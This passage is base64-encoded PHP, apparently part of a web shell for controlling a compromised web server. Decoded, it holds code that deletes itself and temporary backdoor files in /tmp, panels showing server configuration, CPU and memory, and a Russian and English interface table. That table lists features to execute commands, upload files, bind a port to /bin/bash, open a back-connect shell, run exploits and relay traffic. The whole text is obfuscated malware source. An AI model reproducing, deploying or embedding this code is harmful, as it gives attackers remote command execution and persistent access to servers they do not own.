4gU1FMIHF1ZXJ5IFwiPjwvZGl2Pjxicj48YnI+IjsgDQogZWNobyAiPC9mb3JtPiI7DQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7DQogfQkNCmlmKGlzc2V0KCRfR0VUWydkZWxldGUnXSkpDQogew0KICAgQHVubGluayhfX0ZJTEVfXyk7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ3RtcCddKSkNCiB7DQogICBAdW5saW5rKCIvdG1wL2JkcGwiKTsNCiAgIEB1bmxpbmsoIi90bXAvYmFjayIpOw0KICAgQHVubGluaygiL3RtcC9iZCIpOw0KICAgQHVubGluaygiL3RtcC9iZC5jIik7DQogICBAdW5saW5rKCIvdG1wL2RwIik7DQogICBAdW5saW5rKCIvdG1wL2RwYyIpOw0KICAgQHVubGluaygiL3RtcC9kcGMuYyIpOw0KIH0NCmlmKGlzc2V0KCRfR0VUWydwaHBpbmknXSkpDQp7DQplY2hvICRoZWFkOw0KZnVuY3Rpb24gVV92YWx1ZSgkdmFsdWUpDQogew0KIGlmICgkdmFsdWUgPT0gJycpIHJldHVybiAnPGk+bm8gdmFsdWU8L2k+JzsNCiBpZiAoQGlzX2Jvb2woJHZhbHVlKSkgcmV0dXJuICR2YWx1ZSA/ICdUUlVFJyA6ICdGQUxTRSc7DQogaWYgKCR2YWx1ZSA9PT0gbnVsbCkgcmV0dXJuICdOVUxMJzsNCiBpZiAoQGlzX29iamVjdCgkdmFsdWUpKSAkdmFsdWUgPSAoYXJyYXkpICR2YWx1ZTsNCiBpZiAoQGlzX2FycmF5KCR2YWx1ZSkpDQogew0KIEBvYl9zdGFydCgpOw0KIHByaW50X3IoJHZhbHVlKTsNCiAkdmFsdWUgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogQG9iX2VuZF9jbGVhbigpOw0KIH0NCiByZXR1cm4gVV93b3Jkd3JhcCgoc3RyaW5nKSAkdmFsdWUpOw0KIH0NCmZ1bmN0aW9uIFVfd29yZHdyYXAoJHN0cikNCiB7DQogJHN0ciA9IEB3b3Jkd3JhcChAaHRtbHNwZWNpYWxjaGFycygkc3RyKSwgMTAwLCAnPHdiciAvPicsIHRydWUpOw0KIHJldHVybiBAcHJlZ19yZXBsYWNlKCchKCZbXjtdKik8d2JyIC8+KFteO10qOykhJywgJyQxJDI8d2JyIC8+JywgJHN0cik7DQogfQ0KaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXRfYWxsJykpDQogew0KICRyID0gJyc7DQogZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+JywgJzx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48ZGl2IGFsaWduPWNlbnRlcj48Yj5EaXJlY3RpdmU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGRpdiBhbGlnbj1jZW50ZXI+PGI+TG9jYWwgVmFsdWU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGRpdiBhbGlnbj1jZW50ZXI+PGI+TWFzdGVyIFZhbHVlPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiBmb3JlYWNoIChAaW5pX2dldF9hbGwoKSBhcyAka2V5PT4kdmFsdWUpDQogIHsNCiAgJHIgLj0gJzx0cj48dGQ+Jy53cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy4ka2V5Lic8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicuVV92YWx1ZSgkdmFsdWVbJ2xvY2FsX3ZhbHVlJ10pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicuVV92YWx1ZSgkdmFsdWVbJ2dsb2JhbF92YWx1ZSddKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgfQ0KIGVjaG8gJHI7DQogZWNobyAnPC90YWJsZT4nOw0KIH0NCmVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQpkaWUoKTsNCn0NCmlmKGlzc2V0KCRfR0VUWydjcHUnXSkpDQogew0KICAgZWNobyAkaGVhZDsNCiAgIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DUFU8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7DQogICAkY3B1ZiA9IEBmaWxlKCJjcHVpbmZvIik7DQogICBpZigkY3B1ZikNCiAgICB7DQogICAgICAkYyA9IEBzaXplb2YoJGNwdWYpOw0KICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykNCiAgICAgICAgew0KICAgICAgICAgICRpbmZvID0gQGV4cGxvZGUoIjoiLCRjcHVmWyRpXSk7DQogICAgICAgICAgaWYoJGluZm9bMV09PSIiKXsgJGluZm9bMV09Ii0tLSI7IH0NCiAgICAgICAgICAkciAuPSAnPHRyPjx0ZD4nLndzKDMpLic8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicudHJpbSgkaW5mb1sxXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQogICAgICAgIH0NCiAgICAgIGVjaG8gJHI7DQogICAgfQ0KICAgZWxzZQ0KICAgIHsNCiAgICAgIGVjaG8gJzx0cj48dGQ+Jy53cygzKS4nPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+IC0tLSA8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj4nOw0KICAgIH0NCiAgIGVjaG8gJzwvdGFibGU+JzsNCiAgIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogICBkaWUoKTsNCiB9DQppZihpc3NldCgkX0dFVFsnbWVtJ10pKQ0KIHsNCiAgIGVjaG8gJGhlYWQ7DQogICBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+TUVNT1JZPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOw0KICAgJG1lbWYgPSBAZmlsZSgibWVtaW5mbyIpOw0KICAgaWYoJG1lbWYpDQogICAgew0KICAgICAgJGMgPSBzaXplb2YoJG1lbWYpOw0KICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykNCiAgICAgICAgew0KICAgICAgICAgICRpbmZvID0gZXhwbG9kZSgiOiIsJG1lbWZbJGldKTsNCiAgICAgICAgICBpZigkaW5mb1sxXT09IiIpeyAkaW5mb1sxXT0iLS0tIjsgfQ0KICAgICAgICAgICRyIC49ICc8dHI+PHRkPicud3MoMykuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicudHJpbSgkaW5mb1swXSkuJzwvYj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZvWzFdKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgZWNobyAkcjsNCiAgICB9DQogICBlbHNlDQogICAgew0KICAgICAgZWNobyAnPHRyPjx0ZD4nLndzKDMpLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4gLS0tIDwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPic7DQogICAgfQ0KICAgZWNobyAnPC90YWJsZT4nOw0KICAgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCiAgIGRpZSgpOw0KIH0NCiRsYW5nPWFycmF5KA0KJ3J1X3RleHQxJyA9PifC++/u6+3l7e3g/yDq7uzg7eTgJywNCidydV90ZXh0MicgPT4nwvvv7uvt5e3o5SDq7uzg7eQg7eAg8eXw4uXw5ScsDQoncnVfdGV4dDMnID0+J8L77+7r7ejy/CDq7uzg7eTzJywNCidydV90ZXh0NCcgPT4n0ODh7vfg/yDk6PDl6vLu8Oj/JywNCidydV90ZXh0NScgPT4nx+Dj8PPn6uAg9ODp6+7iIO3gIPHl8OLl8CcsDQoncnVfdGV4dDYnID0+J8vu6uDr/O376SD04OnrJywNCidydV90ZXh0NycgPT4nwOvo4PH7JywNCidydV90ZXh0OCcgPT4nwvvh5fDo8uUg4Ovo4PEnLA0KJ3J1X2J1dHQxJyA9PifC++/u6+3o8vwnLA0KJ3J1X2J1dHQxYScgPT4gJ8L77+7r7ejy/CDh5ecg7+Xw5efg4/Dz5+roJywNCidydV9idXR0MicgPT4nx+Dj8PPn6PL8JywNCidydV90ZXh0OScgPT4nzvLq8Pvy6OUg7+7w8uAg6CDv8Oji/+fq4CDl4+4g6iAvYmluL2Jhc2gnLA0KJ3J1X3RleHQxMCc9PifO8urw+/L8IO/u8PInLA0KJ3J1X3RleHQxMSc9PifP4PDu6/wg5Ov/IOTu8fLz7+AnLA0KJ3J1X2J1dHQzJyA9PifO8urw+/L8JywNCidydV90ZXh0MTInPT4nYmFjay1jb25uZWN0JywNCidydV90ZXh0MTMnPT4nSVAt4OTw5fEnLA0KJ3J1X3RleHQxNCc9PifP7vDyJywNCidydV9idXR0NCcgPT4nwvvv7uvt6PL8JywNCidydV90ZXh0MTUnPT4nx+Dj8PPn6uAg9ODp6+7iIPEg8+Tg6+Xt7e7j7iDx5fDi5fDgJywNCidydV90ZXh0MTYnPT4nyPHv7uv85+7i4PL8JywNCidydV90ZXh0MTcnPT4n0+Tg6+Xt7fvpIPTg6esnLA0KJ3J1X3RleHQxOCc9PifL7urg6/zt++kg9ODp6ycsDQoncnVfdGV4dDE5Jz0+J0V4cGxvaXRzJywNCidydV90ZXh0MjAnPT4nyPHv7uv85+7i4PL8JywNCidydV90ZXh0MjEnPT4nze7i7uUg6Oz/JywNCidydV90ZXh0MjInPT4nZGF0YXBpcGUnLA0KJ3J1X3RleHQyMyc9PifL7urg6/zt++kg7+7w8icsDQoncnVfdGV4dDI0Jz0+J9Pk4Ovl7e376SD17vHyJywNCidydV90ZXh0MjUnPT4n0+Tg6+Xt7fvpIO/u8PInLA0KJ3J1X3RleHQyNic9PifI8e/u6/zn7uLg8vwnLA0KJ3J1X2J1dHQ1JyA9PifH4O/z8fLo8vwnLA0KJ3J1X3RleHQyOCc9PifQ4OHu8uAg4iBzYWZlX21vZGUnLA0KJ3J1X3RleHQyOSc9PifE7vHy8+8g5+Dv8OX55e0nLA0KJ3J1X2J1dHQ2JyA9PifR7OXt6PL8JywNCidydV90ZXh0MzAnPT4nz/Du8ezu8vAg9ODp6+AnLA0KJ3J1X2J1dHQ3JyA9PifC++Ll8fLoJywNCidydV90ZXh0MzEnPT4n1ODp6yDt5SDt4Onk5e0nLA0KJ3J1X3RleHQzMic9PifC++/u6+3l7ejlIFBIUCDq7uTgJywNCidydV90ZXh0MzMnPT4nz/Du4uXw6uAg4u7n7O7m7e7x8ugg7uH17uTgIO7j8ODt6Pfl7ejpIG9wZW5fYmFzZWRpciD35fDl5yD08+3q9ujoIGNVUkwnLA0KJ3J1X2J1dHQ4JyA9PifP8O7i5fDo8vwnLA0KJ3J1X3RleHQzNCc9PifP8O7i5fDq4CDi7ufs7ubt7vHy6CDu4fXu5OAg7uPw4O3o9+Xt6Okgc2FmZV9tb2RlIPfl8OXnIPTz7er26P4gaW5jbHVkZScsDQoncnVfdGV4dDM1Jz0+J8/w7uLl8OrgIOLu5+zu5u3u8fLoIO7h9e7k4CDu4/Dg7ej35e3o6SBzYWZlX21vZGUg9+Xw5ecg5+Dj8PPn6vMg9ODp6+Ag4iBteXNxbCcsDQoncnVfdGV4dDM2Jz0+J8Hg5+AgLiDS4OHr6PbgJywNCidydV90ZXh0MzcnPT4ny+7j6O0nLA0KJ3J1X3RleHQzOCc9PifP4PDu6/wnLA0KJ3J1X3RleHQzOSc9PifB4OfgJywNCidydV90ZXh0NDAnPT4nxODs7yDy4OHr6Pb7IOHg5/sg5ODt7fv1JywNCidydV9idXR0OScgPT4nxODs7ycsDQoncnVfdGV4dDQxJz0+J9Hu9fDg7ejy/CDiIPTg6evlJywNCidydV90ZXh0NDInPT4n0OXk4Ory6PDu4uDt6OUg9ODp6+AnLA0KJ3J1X3RleHQ0Myc9PifQ5eTg6vLo8O7i4PL8IPTg6esnLA0KJ3J1X2J1dHQxMCc9PifR7vXw4O3o8vwnLA0KJ3J1X2J1dHQxMSc9PifQ5eTg6vLo8O7i4PL8JywNCidydV90ZXh0NDQnPT4n0OXk4Ory6PDu4uDt6OUg9ODp6+Ag7eXi7ufs7ubt7iEgxO7x8vPvIPLu6/zq7iDk6/8g9/Ll7ej/IScsDQoncnVfdGV4dDQ1Jz0+J9Tg6esg8e718ODt5e0nLA0KJ3J1X3RleHQ0Nic9PifP8O7x7O7y8CBwaHBpbmZvKCknLA0KJ3J1X3RleHQ0Nyc9PifP8O7x7O7y8CDt4PHy8O7l6iBwaHAuaW5pJywNCidydV90ZXh0NDgnPT4n0+Tg6+Xt6OUg4vDl7OXt7fv1IPTg6evu4icsDQoncnVfdGV4dDQ5Jz0+J9Pk4Ovl7ejlIPHq8Ojv8uAg8SDx5fDi5fDgJywNCidydV90ZXh0NTAnPT4nyO307vDs4Pbo/yDuIO/w7vbl8fHu8OUnLA0KJ3J1X3RleHQ1MSc9PifI7fTu8Ozg9uj/IO4g7+Ds//LoJywNCidydV90ZXh0NTInPT4n0uXq8fIg5Ov/IO/u6PHq4CcsDQoncnVfdGV4dDUzJz0+J8jx6uDy/CDiIO/g7+rlJywNCidydV90ZXh0NTQnPT4nz+7o8eog8uXq8fLgIOIg9ODp6+D1JywNCidydV9idXR0MTInPT4nzeDp8ugnLA0KJ3J1X3RleHQ1NSc9PifS7uv86u4g4iD04Onr4PUnLA0KJ3J1X3RleHQ1Nic9PifN6Pfl4+4g7eUg7eDp5OXt7icsDQoncnVfdGV4dDU3Jz0+J9Hu5+Tg8vwv0+Tg6+jy/CDU4OnrL8To8OXq8u7w6P4nLA0KJ3J1X3RleHQ1OCc9PifI7P8nLA0KJ3J1X3RleHQ1OSc9PifU4OnrJywNCidydV90ZXh0NjAnPT4nxOjw5ery7vDo/icsDQoncnVfYnV0dDEzJz0+J9Hu5+Tg8vwv0+Tg6+jy/CcsDQoncnVfdGV4dDYxJz0+J9Tg6esg8e7n5ODtJywNCidydV90ZXh0NjInPT4nxOjw5ery7vDo/yDx7ufk4O3gJywNCidydV90ZXh0NjMnPT4n1ODp6yDz5ODr5e0nLA0KJ3J1X3RleHQ2NCc9PifE6PDl6vLu8Oj/IPPk4Ovl7eAnLA0KJ3J1X3RleHQ2NSc9PifR7ufk4PL8JywNCidydV90ZXh0NjYnPT4n0+Tg6+jy/CcsDQoncnVfdGV4dDY3Jz0+J0Nob3duL0NoZ3JwL0NobW9kJywNCidydV90ZXh0NjgnPT4nyu7s4O3k4CcsDQoncnVfdGV4dDY5Jz0+J8/g8ODs5fLwMScsDQoncnVfdGV4dDcwJz0+J8/g8ODs5fLwMicsDQoncnVfdGV4dDcxJz0+IsLy7vDu6SDv4PDg7OXy8CDq7uzg7eT7OlxyXG4tIOTr/yBDSE9XTiAtIOjs/yDt7uLu4+4g7+7r/Ofu4uDy5ev/IOjr6CDl4+4gVUlEICj36PHr7uwpIFxyXG4tIOTr/yDq7uzg7eT7IENIR1JQIC0g6Oz/IOPw8+/v+yDo6+ggR0lEICj36PHr7uwpIFxyXG4tIOTr/yDq7uzg7eT7IENITU9EIC0g9uXr7uUg9+jx6+4g4iDi7vH87OXw6Pft7uwg7/Dl5PHy4OLr5e3o6CAo7eDv8Ojs5fAgMDc3NykiLA0KJ3J1X3RleHQ3Mic9PifS5erx8iDk6/8g7+7o8ergJywNCidydV90ZXh0NzMnPT4nyPHq4PL8IOIg7+Dv6uUnLA0KJ3J1X3RleHQ3NCc9PifI8erg8vwg4iD04Onr4PUnLA0KJ3J1X3RleHQ3NSc9PicqIOzu5u3uIOjx7+7r/Ofu4uDy/CDw5ePz6//w7e7lIOL78ODm5e3o5ScsDQoncnVfdGV4dDc2Jz0+J8/u6PHqIPLl6vHy4CDiIPTg6evg9SDxIO/u7O75/P4g8/Lo6+jy+yBmaW5kJywNCidydV90ZXh0ODAnPT4n0ujvJywNCidydV90ZXh0ODEnPT4n0eXy/CcsDQoncnVfdGV4dDgyJz0+J8Hg5/sg5ODt7fv1JywNCidydV90ZXh0ODMnPT4nwvvv7uvt5e3o5SBTUUwg5+Dv8O7x4CcsDQoncnVfdGV4dDg0Jz0+J1NRTCDn4O/w7vEnLA0KJ3J1X3RleHQ4NSc9PifP8O7i5fDq4CDi7ufs7ubt7vHy6CDu4fXu5OAg7uPw4O3o9+Xt6Okgc2FmZV9tb2RlIPfl8OXnIOL77+7r7eXt6OUg6u7s4O3kIOIgTVNTUUwg8eXw4uXw5ScsDQoncnVfdGV4dDg2Jz0+J9Hq4Pfo4uDt6OUg9ODp6+Ag8SDx5fDi5fDgJywNCidydV9idXR0MTQnPT4n0erg9+Dy/CcsDQoncnVfdGV4dDg3Jz0+J9Hq4Pfo4uDt6OUg9ODp6+7iIPEg8+Tg6+Xt7e7j7iBmdHAt8eXw4uXw4CcsDQoncnVfdGV4dDg4Jz0+J0ZUUC3x5fDi5fA67+7w8icsDQoncnVfdGV4dDg5Jz0+J9Tg6esg7eAgZnRwIPHl8OLl8OUnLA0KJ3J1X3RleHQ5MCc9PifQ5ebo7CDv5fDl5OD36CcsDQoncnVfdGV4dDkxJz0+J8Dw9eji6PDu4uDy/CDiJywNCidydV90ZXh0OTInPT4n4eXnIODw9eji4Pbo6CcsDQoncnVfdGV4dDkzJz0+J0ZUUCcsDQoncnVfdGV4dDk0Jz0+J0ZUUC3h8PPy9O7w8ScsDQoncnVfdGV4dDk1Jz0+J9Hv6PHu6iDv7uv85+7i4PLl6+XpJywNCidydV90ZXh0OTYnPT4nzeUg8+Tg6+7x/CDv7uvz9+jy/CDx7+jx7uog7+7r/Ofu4uDy5evl6ScsDQoncnVfdGV4dDk3Jz0+J8/w7uLl8OXt7iDq7uzh6O3g9ujpOiAnLA0KJ3J1X3RleHQ5OCc9PifT5OD37fv1IO/u5Orr/vfl7ejpOiAnLA0KJ3J1X3RleHQ5OSc9PicqIOIg6uD35fHy4uUg6+7j6O3gIOgg7+Dw7uv/IOjx7+7r/Ofz5fLx/yDo7P8g7+7r/Ofu4uDy5ev/IOjnIC9ldGMvcGFzc3dkJywNCidydV90ZXh0MTAwJz0+J87y7/Dg4urgIPTg6evu4iDt4CDz5ODr5e3t++kg9PLvIPHl8OLl8CcsDQoncnVfdGV4dDEwMSc9PifI8e/u6/zn7uLg8vwg8uDq5uUg7+Xw5eLl8O3z8u7lICh1c2VyIC0+IHJlc3UpIOjs/yDv7uv85+7i4PLl6/8g4iDq4Pfl8fLi5SDv4PDu6/8nLA0KJ3J1X3RleHQxMDInPT4nz+738uAnLA0KJ3J1X3RleHQxMDMnPT4nzvLv8ODi6uAg7+jx/OzgJywNCidydV90ZXh0MTA0Jz0+J87y7/Dg4urgIPTg6evgIO3gIO/u9/Lu4vvpIP/56OonLA0KJ3J1X3RleHQxMDUnPT4nyu7s8ycsDQoncnVfdGV4dDEwNic9PifO8icsDQoncnVfdGV4dDEwNyc9PifS5ezgJywNCidydV9idXR0MTUnPT4nzvLv8ODi6PL8JywNCidydV90ZXh0MTA4Jz0+J9Ll6vHyIO/o8fzs4CcsDQoncnVfdGV4dDEwOSc9PifR4uXw7fPy/CcsDQoncnVfdGV4dDExMCc9PifQ4Ofi5fDt8/L8JywNCidydV90ZXh0MTExJz0+J1NRTC3R5fDi5fAgOiDv7vDyJywNCidydV90ZXh0MTEyJz0+J8/w7uLl8OrgIOLu5+zu5u3u8fLoIO7h9e7k4CDu4/Dg7ej35e3o6SBzYWZlX21vZGUg9+Xw5ecg6PHv7uv85+7i4O3o5SD08+3q9ujoIG1iX3NlbmRfbWFpbCcsDQoncnVfdGV4dDExMyc9PifP8O7i5fDq4CDi7ufs7ubt7vHy6CDu4fXu5OAg7uPw4O3o9+Xt6Okgc2FmZV9tb2RlLCDv8O7x7O7y8CDr6PHy6O3j4CDk6PDl6vLu8OjpIPEg6PHv7uv85+7i4O3o5ewgaW1hcF9saXN0JywNCidydV90ZXh0MTE0Jz0+J8/w7uLl8OrgIOLu5+zu5u3u8fLoIO7h9e7k4CDu4/Dg7ej35e3o6SBzYWZlX21vZGUsIO/w7vHs7vLwIPHu5OXw5ujs7uPuIPTg6evgIPEg6PHv7uv85+7i4O3o5ewgaW1hcF9ib2R5JywNCidydV90ZXh0MTE1Jz0+J8/w7uLl8OrgIOLu5+zu5u3u8fLoIO7h9e7k4CDu4/Dg7ej35e3o6SBzYWZlX21vZGUsIOru7+jw7uLg7ejlIPTg6evu4iDxIGNvbXByZXNzLnpsaWI6Ly8g4iBjb3B5KCknLA0KJ3J1X3RleHQxMTYnPT4nyu7v6PDu4uDy/CD04OnrJywNCidydV90ZXh0MTE3Jz0+J+InLA0KJ3J1X3RleHQxMTgnPT4n1ODp6yDx6u7v6PDu4uDtJywNCidydV90ZXh0MTE5Jz0+J83lIPPk4Ovu8fwg8eru7+jw7uLg8vwg9ODp6ycsDQoncnVfdGV4dDEyMCc9PifP8O7i5fDq4CDi7ufs7ubt7vHy6CDu4fXu5OAg7uPw4O3o9+Xt6Okgc2FmZV9tb2RlLCDx7ufk4O3o5SDx4u7l4+4gcGhwLmluaScsDQoncnVfdGV4dDEyMSc9PifP7uv85+7i4PLl6/zx6ujpIHBocC5pbmkg7eDp5OXtIOIg5Ojw5ery7vDo6CDx6vDo7/LgLiDR7vXw4O3/5ewg8e7k5fDm6Ozu5SDiIPTg6evlIHBocF9pbmlfYmFja3VwLicsDQoncnVfZXJyMCc9PifO+Ojh6uAhIM3lIOzu4/Mg5+Dv6PHg8vwg4iD04OnrICcsDQoncnVfZXJyMSc9PifO+Ojh6uAhIM3lIOzu4/Mg7/Du9+jy4PL8IPTg6esgJywNCidydV9lcnIyJz0+J8746OHq4CEgzeUg8+Tg6+7x/CDx7ufk4PL8ICcsDQoncnVfZXJyMyc9PifO+Ojh6uAhIM3lIPPk4Ovu8fwg7+7k6uv+9+jy/PH/IOogZnRwIPHl8OLl8PMnLA0KJ3J1X2VycjQnPT4nzvjo4ergIODi8u7w6Ofg9ujoIO3gIGZ0cCDx5fDi5fDlJywNCidydV9lcnI1Jz0+J8746OHq4CEgzeUg8+Tg6+7x/CDv7uzl7f/y/CDk6PDl6vLu8Oj+IO3gIGZ0cCDx5fDi5fDlJywNCidydV9lcnI2Jz0+J8746OHq4CEgzeUg8+Tg6+7x/CDu8u/w4OLo8vwg7+jx/OzuJywNCidydV9lcnI3Jz0+J8/o8fzs7iDu8u/w4OLr5e3uJywNCidydV90ZXh0MTIyJyA9PiAnz/Du4uXw6uAg4u7n7O7m7e7x8ugg7uH17uTgIO7j8ODt6Pfl7ejpIHNhZmVfbW9kZSD35fDl5yD08+3q9uj+IGVycm9yX2xvZygpJywNCidydV90ZXh0MTIzJyA9PiAnz/Du4uXw6uAg4u7n7O7m7e7x8ugg7uH17uTgIO7j8ODt6Pfl7ejpIHNhZmVfbW9kZSD35fDl5yDx7ufk4O3o5SD04Onr4CAuaHRhY2Nlc3MgYyBtYWlsLmZvcmNlX2V4dHJhX3BhcmFtZXRlcnMnLA0KJ3J1X3RleHQxMjQnID0+ICfP6PHg8vwg4iD04OnrJywNCidydV90ZXh0MTI1JyA9PiAn0e7k5fDm6Ozu5ScsDQoncnVfdGV4dDEyNicgPT4gJ8/w7uLl8OrgIOLu5+zu5u3u8fLoIO7h9e7k4CDu4/Dg7ej35e3o6SBzYWZlX21vZGUg9+Xw5ecgU1NJJywNCidydV90ZXh0MTI3JyA9PiAnz/Du4uXw6uAg4u7n7O7m7e7x8ugg7uH17uTgIO7j8ODt6Pfl7ejpIHNhZmVfbW9kZSD35fDl5yBDT00g9PPt6vbo6CcsDQoncnVfdGV4dDEyOCcgPT4gJ8/w7uLl8OrgIOLu5+zu5u3u8fLoIO7h9e7k4CDu4/Dg7ej35e3o6SBzYWZlX21vZGUg9+Xw5ecgaW9uQ3ViZScsDQoncnVfdGV4dDEyOScgPT4gJ8/w7uLl8OrgIOLu5+zu5u3u8fLoIO7h9e7k4CDu4/Dg7ej35e3o6SBzYWZlX21vZGUg9+Xw5ecgd2luMzJzdGQnLA0KJ3J1X3RleHQxMzAnID0+ICfP8O7i5fDq4CDi7ufs7ubt7vHy6CDu4fXu5OAg7uPw4O3o9+Xt6Okgc2FmZV9tb2RlIPfl8OXnIHdpbjMyc2VydmljZScsDQoncnVfdGV4dDEzMScgPT4gJ8/w7uLl8OrgIOLu5+zu5u3u8fLoIO7h9e7k4CDu4/Dg7ej35e3o6SBzYWZlX21vZGUg9+Xw5ecg8ODx+Ojw5e3o5SBwZXJsJywNCidydV90ZXh0MTMyJyA9PiAnz/Du4uXw6uAg4u7n7O7m7e7x8ugg7uH17uTgIO7j8ODt6Pfl7ejpIHNhZmVfbW9kZSD35fDl5yBmZmknLA0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovDQonZW5nX3RleHQxJyA9PidFeGVjdXRlZCBjb21tYW5kJywNCidlbmdfdGV4dDInID0+J0V4ZWN1dGUgY29tbWFuZCBvbiBzZXJ2ZXInLA0KJ2VuZ190ZXh0MycgPT4nUnVuIGNvbW1hbmQnLA0KJ2VuZ190ZXh0NCcgPT4nV29yayBkaXJlY3RvcnknLA0KJ2VuZ190ZXh0NScgPT4nVXBsb2FkIGZpbGVzIG9uIHNlcnZlcicsDQonZW5nX3RleHQ2JyA9PidMb2NhbCBmaWxlJywNCidlbmdfdGV4dDcnID0+J0FsaWFzZXMnLA0KJ2VuZ190ZXh0OCcgPT4nU2VsZWN0IGFsaWFzJywNCidlbmdfYnV0dDEnID0+J0V4ZWN1dGUnLA0KJ2VuZ19idXR0MWEnPT4nRXhlY3V0ZSB3aXRob3V0IHJlbG9hZCcsDQonZW5nX2J1dHQyJyA9PidVcGxvYWQnLA0KJ2VuZ190ZXh0OScgPT4nQmluZCBwb3J0IHRvIC9iaW4vYmFzaCcsDQonZW5nX3RleHQxMCc9PidQb3J0JywNCidlbmdfdGV4dDExJz0+J1Bhc3N3b3JkIGZvciBhY2Nlc3MnLA0KJ2VuZ19idXR0MycgPT4nQmluZCcsDQonZW5nX3RleHQxMic9PidiYWNrLWNvbm5lY3QnLA0KJ2VuZ190ZXh0MTMnPT4nSVAnLA0KJ2VuZ190ZXh0MTQnPT4nUG9ydCcsDQonZW5nX2J1dHQ0JyA9PidDb25uZWN0JywNCidlbmdfdGV4dDE1Jz0+J1VwbG9hZCBmaWxlcyBmcm9tIHJlbW90ZSBzZXJ2ZXInLA0KJ2VuZ190ZXh0MTYnPT4nV2l0aCcsDQonZW5nX3RleHQxNyc9PidSZW1vdGUgZmlsZScsDQonZW5nX3RleHQxOCc9PidMb2NhbCBmaWxlJywNCidlbmdfdGV4dDE5Jz0+J0V4cGxvaXRzJywNCidlbmdfdGV4dDIwJz0+J1VzZScsDQonZW5nX3RleHQyMSc9PicmbmJzcDtOZXcgbmFtZScsDQonZW5nX3RleHQyMic9PidkYXRhcGlwZScsDQonZW5nX3RleHQyMyc9PidMb2NhbCBwb3J0JywNCidlbmdfdGV4dDI0Jz0+J1JlbW90ZSBob3N0JywNCidlbmdfdGV4dDI1Jz